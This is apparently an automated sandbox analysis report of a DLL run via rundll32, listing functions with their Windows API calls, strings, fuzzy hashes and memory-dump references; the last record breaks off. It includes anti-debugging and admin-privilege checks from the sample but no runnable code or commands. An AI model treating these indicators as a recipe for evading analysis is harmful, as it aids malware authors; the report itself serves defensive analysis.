Function 6D4BDE7D Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6D4BDE89
memset.VCRUNTIME140(?,00000000,00000003), ref: 6D4BDEAF
memset.VCRUNTIME140(?,00000000,00000050), ref: 6D4BDF39
IsDebuggerPresent.KERNEL32 ref: 6D4BDF55
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6D4BDF75
UnhandledExceptionFilter.KERNEL32(?), ref: 6D4BDF7F

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: 0dde7460ba0bf1e72ec1aaff49955547847a7d871c001acebda7d1fb3d442605
Instruction ID: f82b14ad458340251946ba566f1f142f6a9e9cdc11c2fe0a19e49b8b5d75a818
Opcode Fuzzy Hash: 0dde7460ba0bf1e72ec1aaff49955547847a7d871c001acebda7d1fb3d442605
Instruction Fuzzy Hash: 7C311675D092189BDF11EFA4D989BCCBBB8AF58304F1040EAE50DAB240EB749A858F54

Uniqueness

Uniqueness Score: -1.00%

Function 046C8672 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,046C8990,00000002,00000000,?,?,?,046C8990,?,00000000), ref: 046C870B
GetLocaleInfoW.KERNEL32(?,20001004,046C8990,00000002,00000000,?,?,?,046C8990,?,00000000), ref: 046C8734
GetACP.KERNEL32(?,?,046C8990,?,00000000), ref: 046C8749

Strings

OCP, xrefs: 046C86C6
ACP, xrefs: 046C8690

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: da79cbc2d6b2258f8c806a6db2ec66c8c493c787ba01ef339b652ef73fa77ed9
Instruction ID: a0341193f520b736ec74ae9c53c61302bffd72ff5281c07111d87041afabb5a3
Opcode Fuzzy Hash: da79cbc2d6b2258f8c806a6db2ec66c8c493c787ba01ef339b652ef73fa77ed9
Instruction Fuzzy Hash: A221F532B40100A6DB35AF56C904BBB73A6EFA4A56B46486CE90AD7310F732FD41C760

Uniqueness

Uniqueness Score: -1.00%

Function 046C8847 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 046C0040: GetLastError.KERNEL32(?,00000008,046C4FA9), ref: 046C0044
Part of subcall function 046C0040: SetLastError.KERNEL32(00000000,046B2FDB,0000000A,000000FF), ref: 046C00E6

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 046C8953
IsValidCodePage.KERNEL32(00000000), ref: 046C899C
IsValidLocale.KERNEL32(?,00000001), ref: 046C89AB
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 046C89F3
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 046C8A12

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 03d86f5fd4bd105d9d5c824b418ecf5b93d529deb31fa32c6e053d2e6dee53bf
Instruction ID: 2fe4669fb7d6dfc7ef73fe2c3bfff04c9766e4eeb9f474fb21c0f486c785b962
Opcode Fuzzy Hash: 03d86f5fd4bd105d9d5c824b418ecf5b93d529deb31fa32c6e053d2e6dee53bf
Instruction Fuzzy Hash: 31515171A00205AFEB20EFA9DC44ABE77B8FF59706F04056DE915E7290F774A940CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 046C7EE3 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 046C0040: GetLastError.KERNEL32(?,00000008,046C4FA9), ref: 046C0044
Part of subcall function 046C0040: SetLastError.KERNEL32(00000000,046B2FDB,0000000A,000000FF), ref: 046C00E6

GetACP.KERNEL32(?,?,?,?,?,?,046BEB84,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 046C7FA4
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,046BEB84,?,?,?,00000055,?,-00000050,?,?), ref: 046C7FCF
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 046C8132

Strings

utf8, xrefs: 046C80A1

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 0f8c1a07dd51495f07782b610992c878ed89d8f4534ea06a9f5e9ef94d307374
Instruction ID: ce38c24660ee721c23bef97986991556ab757ff509dc17aca0b388ef315a6236
Opcode Fuzzy Hash: 0f8c1a07dd51495f07782b610992c878ed89d8f4534ea06a9f5e9ef94d307374
Instruction Fuzzy Hash: 8A71D371B00206AAEB34BF75CC85BBA73A8EF5470AF14442EE515D7280FB74F9408BA5

Uniqueness

Uniqueness Score: -1.00%

Function 046C0574 Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 046C0601

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 78ed4d37c3d53e18c75ce14a6f865b4e3009643ed09ebbf578d290b4cadd435b
Instruction ID: b6571b981e88ad9d0b881eb76f2e7ddcaa5e8100b5c9303d06a58797e8b9eba5
Opcode Fuzzy Hash: 78ed4d37c3d53e18c75ce14a6f865b4e3009643ed09ebbf578d290b4cadd435b
Instruction Fuzzy Hash: D7B12532A05245DFEF158FA8C8807FEBBA5EF55314F15816EE945AB341E234E901CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 046B4BC0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 046B4BCC
IsDebuggerPresent.KERNEL32 ref: 046B4C98
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 046B4CB8
UnhandledExceptionFilter.KERNEL32(?), ref: 046B4CC2

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3aea6503c2c0e41d89453189ea3f0f357e50e7ea5e10bdcb4ee8725758c9832c
Instruction ID: dbd04c3dc5bb4687502181f19690f5d570af7e251b0617ed93c6943147b46436
Opcode Fuzzy Hash: 3aea6503c2c0e41d89453189ea3f0f357e50e7ea5e10bdcb4ee8725758c9832c
Instruction Fuzzy Hash: 903118B5D45218ABDF11DFA4D9897CDBBB8EF08304F1041AAE449AB290EB745A85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 046AC8E0 Relevance: 6.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,046AC503), ref: 046AC91D
CheckTokenMembership.ADVAPI32(00000000,046AC503,00000000), ref: 046AC92F
GetLastError.KERNEL32 ref: 046AC939
FreeSid.ADVAPI32(046AC503), ref: 046AC949

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: AllocateCheckErrorFreeInitializeLastMembershipToken
String ID:
API String ID: 3835361876-0
Opcode ID: d083f5c8312426d1e8d65c22747fbb139608c7cfea95df4e7abb52afdc30461d
Instruction ID: 7a78abdfa20c69252aa4b309da1d06f6ac251201bd547cef2052ee2191e034a6
Opcode Fuzzy Hash: d083f5c8312426d1e8d65c22747fbb139608c7cfea95df4e7abb52afdc30461d
Instruction Fuzzy Hash: 0C014C74E00219ABDB14DFA5D959BBFBBF8EF08B50F404059E905E7281E734AE04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 046B30F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,?,00000002,?,?,?,046AF41D,?,?), ref: 046B310C
FormatMessageA.KERNEL32(00001300,00000000,?,?,?,00000000,00000000,?,?,046AF41D,?,?), ref: 046B312E

Strings

!x-sys-default-locale, xrefs: 046B3107

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 4b4ce530f0f97d35d2de62ec2e9feb92787a6f52e41fe95f360dae75844d0953
Instruction ID: d57b17c1a64c15c24a2c01835b50960452863a2e9dc04ae7f64a0d7153871c4f
Opcode Fuzzy Hash: 4b4ce530f0f97d35d2de62ec2e9feb92787a6f52e41fe95f360dae75844d0953
Instruction Fuzzy Hash: AFE065B2250104BFFB089F90CC0FDFB7BADEB05750F004159BD41D2180E1B56E008BA0

Uniqueness

Uniqueness Score: -1.00%

Function 046B4F9B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 046B5027: GetLastError.KERNEL32 ref: 046B5039

IsDebuggerPresent.KERNEL32(?,?,?,046A1092), ref: 046B4FCE
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,046A1092), ref: 046B4FDD

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 046B4FD8

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: 3d17ab1d74ec0348873a3f2151e3c290fd80ebf1933737286185aa690b751bb0
Instruction ID: d05d32334b479fae6b1c8f65fbbc9c40485ade6b4207054cfa0c706a182b4fa2
Opcode Fuzzy Hash: 3d17ab1d74ec0348873a3f2151e3c290fd80ebf1933737286185aa690b751bb0
Instruction Fuzzy Hash: 64E039746407118FE3609F69E048786BAE8EB44309F00981DD486CB640FBB9F888CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 046C82F6 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 046C0040: GetLastError.KERNEL32(?,00000008,046C4FA9), ref: 046C0044
Part of subcall function 046C0040: SetLastError.KERNEL32(00000000,046B2FDB,0000000A,000000FF), ref: 046C00E6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 046C834A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 046C8394
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 046C845A

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 08c5ceb22e5d6bfe6f96b6851d96c2d201f480e00214806451072f833ebf094d
Instruction ID: f01d864a25504f8eb31fe63d94519f93850acc5257a17547b7a9c463907c8f10
Opcode Fuzzy Hash: 08c5ceb22e5d6bfe6f96b6851d96c2d201f480e00214806451072f833ebf094d
Instruction Fuzzy Hash: CF617F71A002179FEB78AF24DC85BBA77A8EF14306F14816DE905C7684FB78E981CB54

Uniqueness

Uniqueness Score: -1.00%

Function 046B8BB3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,046B2FDB), ref: 046B8CAB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,046B2FDB), ref: 046B8CB5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,046B2FDB), ref: 046B8CC2

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 4c3fbc19541b4195d70697ee6c26363fb9a81b8ea99c016add72f1e1add1ecaa
Instruction ID: 5d213ca77b3af255b46172dc0453ece300cfd090b2ae6056d4a33805793c7a06
Opcode Fuzzy Hash: 4c3fbc19541b4195d70697ee6c26363fb9a81b8ea99c016add72f1e1add1ecaa
Instruction Fuzzy Hash: 9231C6B4951218ABCB21DF24D9887DDBBB8BF08314F5041DAE44CA7250EB749FC58F44

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BB105 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(00000000,00000001,6D4B8BAE,00000000,00000001,00000000), ref: 6D4BB111
LockResource.KERNEL32(00000000), ref: 6D4BB127

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: Resource$LoadLock
String ID:
API String ID: 1037334470-0
Opcode ID: c908d3d72b7bba8923e5d847c1b63878d776869d8bb3f19a4bc0e9237cf05752
Instruction ID: 0ffb0d21d1b40d038eadbd1465dc015008e6c0aedca712ea6fd51434dc45abda
Opcode Fuzzy Hash: c908d3d72b7bba8923e5d847c1b63878d776869d8bb3f19a4bc0e9237cf05752
Instruction Fuzzy Hash: 5B217234E1424AFFCF41EFA8C984A9DBBF1BB19384F2098A5E855E6250D3309F51DB60

Uniqueness

Uniqueness Score: -1.00%

Function 046A4392 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 145comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(046DAD80,00000000,00000001,046DAD60,?), ref: 046A4427

Strings

C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp\nsExec.dll, xrefs: 046A44FB

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user~1\AppData\Local\Temp\nsqF009.tmp\nsExec.dll
API String ID: 542301482-2949700518
Opcode ID: 0df4b4f171cafa7a219d47719a4a3fe1e02332d908973732f1555a802190135f
Instruction ID: c156121c319a45015c914ed3c1bc82043c1851a6cc5d8c8eeae8ecbe7148ecfd
Opcode Fuzzy Hash: 0df4b4f171cafa7a219d47719a4a3fe1e02332d908973732f1555a802190135f
Instruction Fuzzy Hash: 7F5116712087019FC354EFA8D888A1ABBE9FF88318F10096DF559CB291EA71EC45CF51

Uniqueness

Uniqueness Score: -1.00%

Function 046BCC20 Relevance: 3.4, APIs: 2, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51a2f2f97c194a318d70a6f7ecbeec5dc7d86dc41d36da520a09967e46427957
Instruction ID: 83113a9dafc44b7cbd619965b4b616b7cd3ed6a0e5be3033a6fbec53c3e64d24
Opcode Fuzzy Hash: 51a2f2f97c194a318d70a6f7ecbeec5dc7d86dc41d36da520a09967e46427957
Instruction Fuzzy Hash: 48F14F71E006199FDF14CFA8D8806EDB7B5FF88314F15826EE955AB380E730AA45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 046A9220 Relevance: 2.0, APIs: 1, Instructions: 520COMMON

Download Yara Rule

APIs

__modf_pentium4.LIBCMT ref: 046A92A5

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: __modf_pentium4
String ID:
API String ID: 1356473546-0
Opcode ID: d34457b4dda001b4b870a26a85ec7d9914d387617fe05d3ac5e8a1f518d29b7b
Instruction ID: 906925bafa23a6b2494f1cf8fce5310bde535d667b225722c1055c86771c17fd
Opcode Fuzzy Hash: d34457b4dda001b4b870a26a85ec7d9914d387617fe05d3ac5e8a1f518d29b7b
Instruction Fuzzy Hash: F512F3B0A04A149FD725CF38C888799B7F5AF55304F344AE9D09987382EB30AE99CF54

Uniqueness

Uniqueness Score: -1.00%

Function 046C2008 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000000), ref: 046C2235

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: ba988aa70624e93e66bdcc63fc95e7c123c8a3922341fc56da8283cd866f756f
Instruction ID: 298f8474a90d9fc85777dff8a6a6a1f446a7b14e8f57a89dc4ea959ab3864b71
Opcode Fuzzy Hash: ba988aa70624e93e66bdcc63fc95e7c123c8a3922341fc56da8283cd866f756f
Instruction Fuzzy Hash: 8EB15B31A10609CFD718CF28C4A6B657BA0FF55364F15869CE99ACF3A1D335E992CB40

Uniqueness

Uniqueness Score: -1.00%

Function 046B499C Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 046B49B2

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 7218e0ce240d9022a8763f9ddccb60abe1d421de4e9de20c0a7071aab31bd353
Instruction ID: 475a9d711320ff125c52b994667556c6bad2298875a5e7f08e82bdbf10ac3260
Opcode Fuzzy Hash: 7218e0ce240d9022a8763f9ddccb60abe1d421de4e9de20c0a7071aab31bd353
Instruction Fuzzy Hash: 57517EB1A11215CFEB18CF55D9817AAB7F0FB88310F14D12AD546EB345E778A940CF94

Uniqueness

Uniqueness Score: -1.00%

Function 046C548A Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cec5c7d08acc071e048d5b4fdf6c289da3574820503bcc8887ecf06e051e2cf2
Instruction ID: a15c0e6d9756ed7ac24ed09c127078786b71e841c73c412576e19e45db57888e
Opcode Fuzzy Hash: cec5c7d08acc071e048d5b4fdf6c289da3574820503bcc8887ecf06e051e2cf2
Instruction Fuzzy Hash: B6319476900229BFDB24EFA9CC849BAB77DEB84314F14855DE906D7244F630BD408BA4

Uniqueness

Uniqueness Score: -1.00%

Function 046C8549 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 046C0040: GetLastError.KERNEL32(?,00000008,046C4FA9), ref: 046C0044
Part of subcall function 046C0040: SetLastError.KERNEL32(00000000,046B2FDB,0000000A,000000FF), ref: 046C00E6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 046C859D

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 993c9ba861bcbb0f39672ff4b8c1bf95777556754f432d8c40f24cf38e1c90c2
Instruction ID: feaafae8e9545f1d32b086cdf063fbc3f28bacbac12d8d915780b7dc3a650e2c
Opcode Fuzzy Hash: 993c9ba861bcbb0f39672ff4b8c1bf95777556754f432d8c40f24cf38e1c90c2
Instruction Fuzzy Hash: 5D219572604156ABEB38AF65DC81ABA73A8EF5431AF10017EE902D7240FB74FD41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 046C81D0 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 046C0040: GetLastError.KERNEL32(?,00000008,046C4FA9), ref: 046C0044
Part of subcall function 046C0040: SetLastError.KERNEL32(00000000,046B2FDB,0000000A,000000FF), ref: 046C00E6

EnumSystemLocalesW.KERNEL32(046C82F6,00000001,00000000,?,-00000050,?,046C8927,00000000,?,?,?,00000055,?), ref: 046C8242

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: f627e14ad5c5ab184ccf93306a9698a91c043210d7f2c4ca33ded8416b13da6b
Instruction ID: 88e9e5d139b8af060531f8429fb4821c87a49a052d8f0685f214e01471703746
